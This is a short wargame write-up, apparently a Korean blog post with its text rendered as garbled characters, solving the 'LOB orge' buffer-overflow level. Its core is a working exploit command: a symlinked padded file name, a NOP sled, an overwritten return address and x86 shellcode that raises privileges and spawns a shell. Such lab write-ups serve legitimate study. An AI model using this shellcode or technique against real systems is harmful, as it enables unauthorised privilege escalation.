Wargame/CTF(Capture The Flag)

LOB orge

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2015. 9. 15.
728x90
๋ฐ˜์‘ํ˜•

์ฝ”๋“œ๋ฅผ ์—ด์–ด๋ณด๋ฉด 

argv[0]=file์ด๋ฆ„์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ํŒŒ์ผ์ด๋ฆ„์„ 77byte๋ฅผ ๋งž์ถฐ์ฃผ๊ธฐ ์œ„ํ•ด ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ์–ด์ค€๋‹ค. ./๊นŒ์ง€ ํฌํ•จํ•˜๋ฏ€๋กœ 75๋ฅผ ํ•œ๋‹ค.

๋‚˜๋จธ์ง€๋Š” ๋™์ผ 


./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(์‹ฌ๋ณผ๋ฆญ ๋งํฌ) $(python -c 'print "\x90"*40+"AAAA"+"\x9c\xfb\xff\xbf(์ฃผ์†Œ๊ฐ’)"') $(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


728x90
๋ฐ˜์‘ํ˜•

'Wargame > CTF(Capture The Flag)' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

LOB orge -> troll  (0) 2015.10.15
pwnable.kr shellshock  (0) 2015.10.11
LOB darklf  (0) 2015.09.15
LOB wolfman  (0) 2015.09.15
LOB orc  (0) 2015.09.15

๋Œ“๊ธ€